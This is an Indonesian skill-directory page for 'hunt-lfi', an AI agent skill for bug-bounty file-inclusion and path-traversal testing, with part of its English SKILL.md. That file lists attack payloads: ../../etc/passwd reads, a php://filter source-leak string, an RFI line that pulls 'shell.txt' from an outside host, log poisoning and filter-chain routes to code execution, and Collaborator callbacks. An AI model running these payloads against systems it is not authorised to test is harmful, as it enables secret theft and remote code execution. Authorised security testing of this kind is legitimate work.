hunt-lfi
Fungsinya
Skill ini menguji local file inclusion, remote file inclusion, dan path traversal pada aplikasi web. Ditujukan untuk pengujian resmi pada halaman yang memuat file berdasarkan input pengguna.
Kapan dipakai
- βSaat sebuah halaman menerima nama file atau path sebagai parameter.
- βSaat situs PHP menyertakan file berdasarkan input pengguna.
- βSaat Anda ingin memeriksa apakah server mengembalikan file sensitif seperti file konfigurasi atau kunci.
Link skill
https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-lfi/SKILL.mdSalin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.
Cara pakai
Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.
Pesan siap tempel
Untuk Claude Code, Codex, atau Cursor: jalankan di folder proyek, lalu skill langsung terpasang.
Unduh SKILL.md lalu taruh di folder skill agen Anda.
Contoh permintaan ke AI
βHalaman PHP kami menerima parameter file. Bisakah Anda memeriksa apakah ia bisa membaca file di luar foldernya dalam uji resmi kami?β
5 skill baru setiap minggu. 1 menit baca.
Cara kerjanya
Agent mencoba path traversal dan trik wrapper PHP, lalu memeriksa apakah server mengembalikan file yang diminta. Agent melaporkan pembacaan file sensitif dan jalur apa pun menuju eksekusi kode.
Konten teknis (SKILL.md asli)
Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.
HUNT-LFI β Local / Remote File Inclusion & Path Traversal
Crown Jewel Targets
LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (.env, wp-config.php, private keys, cloud creds), Medium when it only reads non-sensitive files.
Highest-value chains (in rough order of reliability in 2026):
- PHP filter-chain β RCE β the modern default. A bare
php://filterfile-read primitive is upgraded to RCE with no upload endpoint and no writable file by chainingiconvconversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed. - Log poisoning β RCE β inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by
open_basedirand unreadable log perms, so verify the log is readable first. - PHP wrappers β source disclosure β
php://filter/convert.base64-encode/resource=index.phpleaks source; read source to find more LFI sinks, secrets, and the include base path. - RFI β RCE β when
allow_url_include=On,?file=http://OOB/shell.txtpulls and executes remote code. Rare on modern configs but trivially Critical when present. - phar:// deserialization β a crafted PHAR + any unserialize-on-metadata sink β object-injection RCE.
- zip:// / data:// chains and session/upload poisoning when filters block wrappers.
OOB / Blind-LFI Confirmation Gate (Read First)
LFI is frequently blind: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do not claim LFI from indirect signals alone.
What is NOT confirmation
- A different status code or error string for
../../etc/passwdvs a normal value. The app may be string-matching../and returning a canned 403/500 without ever touching the filesystem. - Your input echoed back inside an error message (e.g.
failed to open '/var/www/../../etc/passwd'). That is the path formatter, not proof the file was read. A genuine read shows file contents, not your path. - A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read.
What IS confirmation
- Direct read: actual file contents appear (real
root:x:0:0:line, real PHP source after base64-decoding the filter output). - Blind read via OOB exfil: use a php://filter or XXE-style chain whose payload performs a DNS/HTTP callback to your Burp Collaborator subdomain, or use an
expect:/// wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran. - Blind read via differential/timing: include a file you know exists and is large (
/etc/passwd) vs one that does not (/etc/passwd_nope_<rand>). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence.
Default workflow
- Pick a unique marker target: prefer a file whose content you can fingerprint exactly (
/etc/passwdβ grep^root:). For blind, use a php://filter base64 read and decode β partial/truncated base64 still decodes to recognizable source. - Generate a sub-tagged Collaborator payload per sink (
lfi-page.<collab>,lfi-tpl.<collab>) so callbacks identify which parameter fired. - Send, wait 30β120s, poll OOB.
- Claim LFI only after a content match, a Collaborator callback, or a stable triple-confirmed timing/length delta. Echoed paths and lone status-code changes are retracted.
Attack Surface Signals
URL / Body Parameters
?page= ?file= ?path= ?template= ?view= ?lang= ?module=
?include= ?doc= ?load= ?read= ?content= ?theme= ?layout=
?component= ?download= ?img= ?pdf= ?report= ?style= ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}
Technology Stack Signals
| Signal | Vector |
|---|---|
PHP (X-Powered-By, .php, PHPSESSID) |
php:// filter-chain RCE, phar://, zip://, data:// |
| Apache/Nginx logs readable | Log poisoning β RCE (verify readability first) |
Apache 2.4.49 / 2.4.50 (Server: banner) |
CVE-2021-41773 / CVE-2021-42013 traversal β RCE |
PHP-CGI on Windows (XAMPP, php-cgi.exe) |
CVE-2024-4577 arg-injection β RCE |
Java servlet (/WEB-INF/) |
WEB-INF/web.xml, classes/, application.properties |
| Pyth |
Pertanyaan umum
Apa itu path traversal?
Itu adalah penggunaan urutan ../ dalam path untuk mencapai file di luar folder yang dimaksud.
Apa itu PHP filter chain?
Skill ini menggambarkannya sebagai teknik yang bisa mengubah pembacaan file menjadi eksekusi kode tanpa perlu unggahan.
Bagaimana tingkat keparahan dinilai?
Skill ini menyatakan membaca rahasia seperti file .env berdampak tinggi, sedangkan membaca file yang tidak sensitif berdampak lebih rendah.
Detail
Deskripsi asli dari pembuat
Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal β /etc/passwd read, log poisoning β RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target.
Popularitas
- Bintang GitHub
- 5.4k
- Peringkat
- #14919
- Lisensi
- MIT
- Diperbarui
- 2/11/2026
Komentar
- β¦
Skill lain dari repositori ini
apk-redteam-pipeline
5.4kMembantu agent Anda menguji aplikasi Android untuk kelemahan keamanan, mulai dari mencari file APK dan melakukan dekompilasi hingga memeriksa rahasia yang terekspos.
bugcrowd-reporting
5.4kMembantu agent Anda menulis laporan kerentanan Bugcrowd yang lebih baik, dengan memilih kategori yang tepat dan menjawab keberatan out-of-scope.
cloud-iam-deep
5.4kMembantu agent Anda memeriksa apa yang bisa diakses oleh kredensial cloud yang ditemukan di AWS, Azure, atau Google Cloud, selama pengujian keamanan yang sudah diizinkan.
enterprise-vpn-attack
5.4kMembantu agent Anda memeriksa perangkat VPN dan akses jarak jauh dari Cisco, Fortinet, Citrix, dan lainnya untuk kelemahan yang diketahui selama pengujian yang sudah diizinkan.
Skill serupa
reverse-engineer-anything
422kMembantu agent Anda memeriksa aplikasi dan paket yang sudah dirilis untuk menjelaskan fitur, membandingkan versi, atau memandu pembangunan ulang dengan alat REA.
1password
394kMembantu agent Anda mengatur CLI 1Password, masuk, serta membaca atau menyisipkan rahasia tanpa menampilkan nilainya di chat.
healthcheck
394kMembantu agent Anda mengaudit komputer atau server OpenClaw dari risiko keamanan seperti SSH, firewall, pembaruan, dan cadangan, lalu menyarankan perbaikan aman.